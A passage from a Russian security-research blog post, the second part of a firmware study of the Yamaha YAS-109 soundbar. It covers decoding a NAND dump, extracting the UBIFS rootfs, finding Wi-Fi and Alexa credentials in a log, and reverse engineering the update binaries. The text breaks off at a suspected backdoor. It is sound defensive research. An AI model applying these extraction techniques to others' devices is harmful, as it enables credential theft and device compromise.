{"id":358085,"date":"2024-05-21T00:04:14","date_gmt":"2024-05-21T00:04:14","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=358085"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=358085","title":{"rendered":"<span>\u0418\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440 Yamaha YAS-109, \u0447\u0430\u0441\u0442\u044c 2<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u00a0<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/46f\/04b\/273\/46f04b273b868c5a562f4a3e2957ec9f.png\" alt=\"\u041a\u0414\u041f\u0412\" title=\"\u041a\u0414\u041f\u0412\" width=\"439\" height=\"184\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/46f\/04b\/273\/46f04b273b868c5a562f4a3e2957ec9f.png\"\/><\/p>\n<div><figcaption>\u041a\u0414\u041f\u0412<\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0440\u0438\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e!<\/p>\n<p>\u0412 \u043a\u043e\u043d\u0446\u0435 <a href=\"https:\/\/habr.com\/ru\/companies\/bizone\/articles\/762122\/\">\u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u0442\u0430\u0442\u044c\u0438<\/a> \u043f\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044e \u0441\u0430\u0443\u043d\u0434\u0431\u0430\u0440\u0430 Yamaha \u044f \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u043b \u043e \u043f\u043b\u0430\u0447\u0435\u0432\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0435\u0433\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041d\u043e \u0432\u043e\u0442 \u0442\u043e, \u043d\u0430\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043e\u043d\u043e \u043f\u043b\u0430\u0447\u0435\u0432\u043d\u043e\u0435, \u044f \u0442\u043e\u0433\u0434\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b \u043d\u0435 \u0434\u043e \u043a\u043e\u043d\u0446\u0430.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0432\u0430\u043c \u043d\u0435 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u043e \u0431\u0435\u0433\u0430\u0442\u044c \u0432 \u043f\u0435\u0440\u0432\u0443\u044e \u0447\u0430\u0441\u0442\u044c, \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b \u043e\u0442\u0442\u0443\u0434\u0430 \u044f \u0431\u0443\u0434\u0443 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0442\u044c \u2014 \u0442\u0430\u043a \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0449\u0435.<\/p>\n<h3>\u0420\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u043c \u0434\u0430\u043c\u043f NAND<\/h3>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442 \u0442\u0430\u043a, \u0432 \u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0440\u0430\u0437 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0447\u0438\u0441\u0442\u044b\u0439 \u0434\u0430\u043c\u043f \u0431\u0435\u0437 \u0441\u043a\u0440\u0435\u043c\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438 \u0441 \u0444\u043b\u0435\u0448\u0430. \u041a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, <a href=\"https:\/\/gist.github.com\/lab313ru\/3ad0cc97b9e6a04ed932b6f77d82464b\">\u0432\u043e\u0442 \u0441\u043a\u0440\u0438\u043f\u0442<\/a>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 NAND-\u0434\u0430\u043c\u043f. \u041d\u0443\u0436\u043d\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c <code>binwalk<\/code> \u0438 \u0443\u0437\u043d\u0430\u0435\u043c. \u0412\u043e\u0442 \u0447\u0442\u043e \u043c\u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u0432\u044b\u0434\u0435\u043b\u0438\u0442\u044c:<\/p>\n<ol>\n<li>\n<p> \u0424\u0430\u0439\u043b\u043e\u0432\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430 UBIFS.<\/p>\n<\/li>\n<li>\n<p> \u041e\u0431\u0440\u0430\u0437 \u0441 \u044f\u0434\u0440\u043e\u043c.<\/p>\n<\/li>\n<li>\n<p> Tee- \u0438 TrustedOS-\u043e\u0431\u0440\u0430\u0437\u044b.<\/p>\n<\/li>\n<li>\n<p> \u0417\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a \u043e\u0442 MediaTek.<\/p>\n<\/li>\n<\/ol>\n<p>\u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043d\u0430\u043c \u0443\u0436\u0435 \u043d\u0435 \u043e\u0441\u043e\u0431\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0435\u043d, \u0442\u0430\u043a \u043a\u0430\u043a \u0441\u0432\u043e\u044e \u0440\u043e\u043b\u044c \u043e\u043d \u0441\u044b\u0433\u0440\u0430\u043b \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u0442\u0430\u0442\u044c\u0438. \u0410 \u0432\u043e\u0442 \u0441 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f. \u0414\u043b\u044f \u0434\u0430\u043c\u043f\u0438\u043d\u0433\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e UBIFS \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0437\u0430\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 <a href=\"https:\/\/github.com\/nlitsme\/ubidump\">ubidump.py<\/a>, \u0435\u0433\u043e \u044f \u0442\u043e\u0436\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043b \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438. \u041d\u043e \u0447\u0442\u043e\u0431\u044b \u043e\u043d \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b, \u043d\u0443\u0436\u043d\u043e \u0434\u0430\u043c\u043f \u0441\u043b\u0435\u0433\u043a\u0430 \u043f\u043e\u0434\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u0442\u043a\u0443\u0441\u044b\u0432\u0430\u0435\u043c \u043e\u0442 \u0444\u0430\u0439\u043b\u0430 \u0432\u0441\u0435 spare-area-\u0431\u043b\u043e\u043a\u0438 (\u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c <code>0x40<\/code> \u0431\u0430\u0439\u0442, \u0432\u0441\u0442\u0440\u0435\u0447\u0430\u044e\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043a\u0430\u0436\u0434\u044b\u0435 <code>0x400<\/code> \u0431\u0430\u0439\u0442). \u0414\u0430\u043b\u0435\u0435 \u0431\u0435\u0440\u0451\u043c \u0447\u0430\u0441\u0442\u044c \u0434\u0430\u043c\u043f\u0430 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f <code>UBI#<\/code>\u00a0(\u044d\u0442\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 <code>0xED1000<\/code>) \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0435\u043c \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0444\u0430\u0439\u043b\u0438\u043a. \u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043a:<\/p>\n<pre><code class=\"bash\">python ubidump.py -s dump tsop_dump_no_ecc_ed1000.bin<\/code><\/pre>\n<p>\u042f \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b \u044d\u0442\u043e \u043f\u043e\u0434 \u043e\u0442\u043b\u0430\u0434\u043a\u043e\u0439, \u0442\u0430\u043a \u043a\u0430\u043a \u0431\u0438\u0442\u044b \u0432 \u043c\u043e\u0451\u043c \u0434\u0430\u043c\u043f\u0435 \u0447\u0430\u0441\u0442\u0435\u043d\u044c\u043a\u043e \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0438\u0441\u044c \u0441\u0432\u0430\u043f\u043d\u0443\u0442\u044b \u0438 CRC32 \u043d\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u043b. \u041f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0434\u0430\u043c\u043f \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043d\u0430 \u043b\u0435\u0442\u0443 \u2014 \u044d\u0442\u0438\u043c \u0438 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f NAND-\u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u044f ECC.<\/p>\n<p>\u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>dump\/useradata<\/code>. \u0421\u0440\u0435\u0434\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432 \u044f \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u043e\u0433\u043e, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043c\u043e\u0433 \u0431\u044b \u043c\u043d\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 (\u043d\u0430\u043f\u043e\u043c\u0438\u043d\u0430\u044e, \u044d\u0442\u043e \u0438\u0437\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0446\u0435\u043b\u044c \u0440\u0435\u0441\u0451\u0440\u0447\u0430). \u0417\u0430\u0442\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0441\u044f \u043e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u0444\u0430\u0439\u043b <code>old.log<\/code>. \u0418\u0437 \u043d\u0435\u0433\u043e \u044f \u0443\u0437\u043d\u0430\u043b \u0441\u0432\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u043e\u0442 Wi-Fi, <code>client_id<\/code> \u0438 <code>client_secret<\/code> \u043e\u0442 Alexa, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e \u0442\u043e\u043c, \u043a\u0443\u0434\u0430 \u0436\u0435\u043b\u0435\u0437\u043a\u0430 \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0437\u0430 \u0430\u043f\u0434\u0435\u0439\u0442\u0430\u043c\u0438. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0432 \u043b\u043e\u0433\u0435 \u0438\u043c\u0435\u043b\u043e\u0441\u044c \u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435, \u043d\u043e \u043f\u043e\u043a\u0430 \u044f \u043d\u0435 \u0437\u043d\u0430\u043b, \u043d\u0430 \u0447\u0442\u043e \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0442\u0430\u043b \u043a\u043e\u043f\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n<p>\u042f \u043f\u043e\u043c\u043d\u0438\u043b \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0444\u0430\u0439\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u043e\u0438\u043c\u0438 \u0438\u043c\u0435\u043d\u0430\u043c\u0438 \u0432 \u0434\u0430\u043c\u043f\u0435 \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u043b\u0438 \u043c\u043e\u0451 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u043d\u043e \u043e\u043d\u0438 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u043d\u0435 \u0441\u0434\u0430\u043c\u043f\u0438\u043b\u0438\u0441\u044c. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043c\u043d\u0435 \u0445\u043e\u0442\u0435\u043b\u043e\u0441\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u044c  <code>yamaha_usb_upgrade.sh<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a \u0436\u0435, \u043a\u0430\u043a \u043e\u0434\u0438\u043d \u0438\u0437 \u0444\u0430\u0439\u043b\u043e\u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u2014 <code>yamaha_usb_upgrade.enc<\/code>.<\/p>\n<p>\u0412 \u043e\u0431\u0449\u0435\u043c, \u043f\u043e\u043a\u043e\u0432\u044b\u0440\u044f\u0432 \u0434\u0430\u043c\u043f\u0438\u043b\u043a\u0443, \u044f \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b, \u0447\u0442\u043e \u043e\u043d\u0430 \u0441\u0447\u0438\u0442\u0430\u0435\u0442 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0431\u043b\u043e\u043a\u043e\u0432 (\u043e\u043d\u0438 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f LEB \u2014 logical erase block), \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0444\u0430\u0439\u043b\u0430. \u0422\u0430\u043a\u0436\u0435, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043a\u0430\u043a\u043e\u0433\u043e-\u0442\u043e \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430 \u0431\u043b\u043e\u043a\u0430, \u043f\u0440\u0438 \u043f\u0430\u0440\u0441\u0438\u043d\u0433\u0435 \u0438\u0445 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u043d\u0430\u0447\u0438\u043d\u0430\u043b\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0442\u044c \u0438 \u043f\u0435\u0440\u0435\u0442\u0438\u0440\u0430\u0442\u044c \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435. \u0417\u043d\u0430\u0447\u0438\u0442, \u043f\u043b\u044e\u0441-\u043c\u0438\u043d\u0443\u0441 \u0441 \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0432 \u0434\u0430\u043c\u043f\u0435 \u0438\u0434\u0451\u0442 \u0434\u0440\u0443\u0433\u043e\u0439 \u0440\u0430\u0437\u0434\u0435\u043b. \u041c\u043e\u0436\u043d\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0443\u0441\u0438\u0442\u044c \u0435\u0433\u043e \u0438 \u0441\u043d\u043e\u0432\u0430 \u0441\u0434\u0430\u043c\u043f\u0438\u0442\u044c. \u0421\u043a\u0430\u0437\u0430\u043d\u043e \u2014 \u0441\u0434\u0435\u043b\u0430\u043d\u043e.<\/p>\n<p>\u041e\u0431\u0440\u0435\u0437\u0430\u0435\u043c \u0442\u043e\u0442 \u0436\u0435 \u0444\u0430\u0439\u043b \u0434\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f <code>0x2C62000<\/code> (\u043f\u043e\u0434\u043e\u0431\u0440\u0430\u043d\u043e \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u0443\u0442\u0451\u043c) \u0438 \u0441\u043d\u043e\u0432\u0430 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0434\u0430\u043c\u043f\u0438\u043b\u043a\u0443. \u041d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u043f\u043e\u0447\u0435\u043c\u0443-\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0443\u0436\u0435 \u043d\u0435 <code>useradata<\/code>, \u0430 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 <code>aud8516-consys-slc-rootfs.<\/code> \u0418 \u043e\u043d \u043c\u043d\u0435 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f \u0441\u0438\u043b\u044c\u043d\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e. \u0412\u043e\u0442 \u0447\u0442\u043e \u043e\u0442\u0442\u0443\u0434\u0430 \u0438\u0437\u0432\u043b\u0435\u043a\u043b\u043e\u0441\u044c:<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/08e\/dfb\/ebe\/08edfbebe86306a07630def53adafb45.png\" alt=\"\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 rootfs\" title=\"\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 rootfs\" width=\"331\" height=\"686\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/08e\/dfb\/ebe\/08edfbebe86306a07630def53adafb45.png\"\/><\/p>\n<div><figcaption>\u0421\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 rootfs<\/figcaption><\/div>\n<\/figure>\n<p>\u041c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043d\u0435 \u043f\u0443\u0441\u0442\u044b\u043c\u0438! \u0418 \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u044f \u043d\u0430\u0448\u0451\u043b \u0442\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0432\u0448\u0438\u0439 \u043c\u0435\u043d\u044f <code>yamaha_usb_upgrade.sh<\/code>. \u041f\u0440\u0430\u0432\u0434\u0430, \u043e\u043d \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f <a href=\"https:\/\/gist.github.com\/lab313ru\/c36f44b472e1389f8297b8afaf07ac3f\">\u043d\u0435 \u0442\u0435\u043c, \u0447\u0435\u0433\u043e \u044f \u043e\u0436\u0438\u0434\u0430\u043b<\/a>. \u0422\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0432 \u044d\u0442\u043e\u043c \u0441\u043a\u0440\u0438\u043f\u0442\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438\u0441\u044c \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0438\u043c\u0435\u043d\u043d\u043e:<\/p>\n<ul>\n<li>\n<p><code>\/bin\/upgrade_app<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/system\/workdir\/bin\/smplayer<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/system\/workdir\/bin\/localSendSocket<\/code><\/p>\n<\/li>\n<li>\n<p><code>\/system\/workdir\/bin\/a01localupdate<\/code><\/p>\n<\/li>\n<\/ul>\n<p>\u0427\u0442\u043e \u0437\u0430\u0431\u0430\u0432\u043d\u043e, \u043d\u0438 \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445 \u043d\u0435 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u043b \u0444\u0430\u0439\u043b\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439. \u041f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0438\u0441\u043a\u0430\u0442\u044c \u043f\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/992\/eb5\/9f0\/992eb59f049be42e78f4821d7833d6b8.png\" alt=\"\u041a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\" title=\"\u041a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f\" width=\"713\" height=\"378\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/992\/eb5\/9f0\/992eb59f049be42e78f4821d7833d6b8.png\"\/><\/p>\n<div><figcaption>\u041a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0444\u0430\u0439\u043b\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f<\/figcaption><\/div>\n<\/figure>\n<p>\u0422\u0430\u043a-\u0442\u043e \u043b\u0443\u0447\u0448\u0435. \u0412\u0437\u0433\u043b\u044f\u043d\u0435\u043c \u043d\u0430<em> <\/em><code>\/system\/workdir\/bin\/a01remoteupdate<\/code> \u043f\u043e\u0431\u043b\u0438\u0436\u0435.<\/p>\n<h3>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 a01remoteupdate<\/h3>\n<p>\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 Yamaha, \u0438 \u0441 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0447\u0435\u0440\u0435\u0437 USB (\u0438\u043d\u0430\u0447\u0435 \u043f\u043e\u0447\u0435\u043c\u0443 \u0432 \u043d\u0451\u043c \u0437\u0430\u0441\u0432\u0435\u0442\u0438\u043b\u0430\u0441\u044c \u0441\u0442\u0440\u043e\u043a\u0430 \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043d\u0430\u043c \u0438\u043c\u0435\u043d\u0435\u043c \u0444\u0430\u0439\u043b\u0430?). URL \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u044f \u0443\u0436\u0435 \u0432\u0438\u0434\u0435\u043b \u0432 <code>old.log<\/code> (\u043e \u043d\u0451\u043c \u0447\u0443\u0442\u044c \u043f\u043e\u0437\u0436\u0435), \u0430 \u0432\u043e\u0442 \u0441 \u0444\u043b\u0435\u0448\u043a\u043e\u0439 \u0432\u0441\u0451 \u043a\u0443\u0434\u0430 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u0435\u0435. \u041d\u0438\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442\u0441\u044f <code>yamaha_usb_upgrade.sh<\/code>:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c6c\/a9d\/322\/c6ca9d322dba2a7045878ef5fbfcf8dc.png\" alt=\"Gen_USB_upgrade()\" title=\"Gen_USB_upgrade()\" width=\"680\" height=\"623\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c6c\/a9d\/322\/c6ca9d322dba2a7045878ef5fbfcf8dc.png\"\/><\/p>\n<div><figcaption>Gen_USB_upgrade()<\/figcaption><\/div>\n<\/figure>\n<p>\u041d\u0443 \u043d\u0435 \u043a\u0440\u0430\u0441\u043e\u0442\u0430 \u043b\u0438! \u0427\u0430\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u043d\u0430 \u0441\u043a\u0440\u0438\u043d\u0435 \u044f \u0443\u0436\u0435 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043b\u043e\u0433\u0438\u043a\u0435 \u0432\u043d\u0443\u0442\u0440\u0438, \u043d\u043e \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435. \u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0434\u043b\u044f \u043d\u0430\u0441 \u0437\u0430\u0431\u043e\u0442\u043b\u0438\u0432\u043e \u0432\u044b\u0432\u043e\u0434\u044f\u0442 \u0438\u043c\u044f \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u043a\u0430\u0436\u0434\u044b\u0439 \u0448\u0430\u0433. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043a\u0440\u0438\u043d \u043f\u043e\u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u0435\u0435.<\/p>\n<h3>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 Gen_USB_upgrade()<\/h3>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d0f\/ff3\/f6d\/d0fff3f6d0337557a7ea07264db7be56.png\" alt=\"\u042d\u0442\u043e \u0447\u0442\u043e, \u0431\u044d\u043a\u0434\u043e\u0440?\" title=\"\u042d\u0442\u043e \u0447\u0442\u043e, \u0431\u044d\u043a\u0434\u043e\u0440?\" width=\"615\" height=\"216\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d0f\/ff3\/f6d\/d0fff3f6d0337557a7ea07264db7be56.png\"\/><\/p>\n<div><figcaption>\u042d\u0442\u043e \u0447\u0442\u043e, 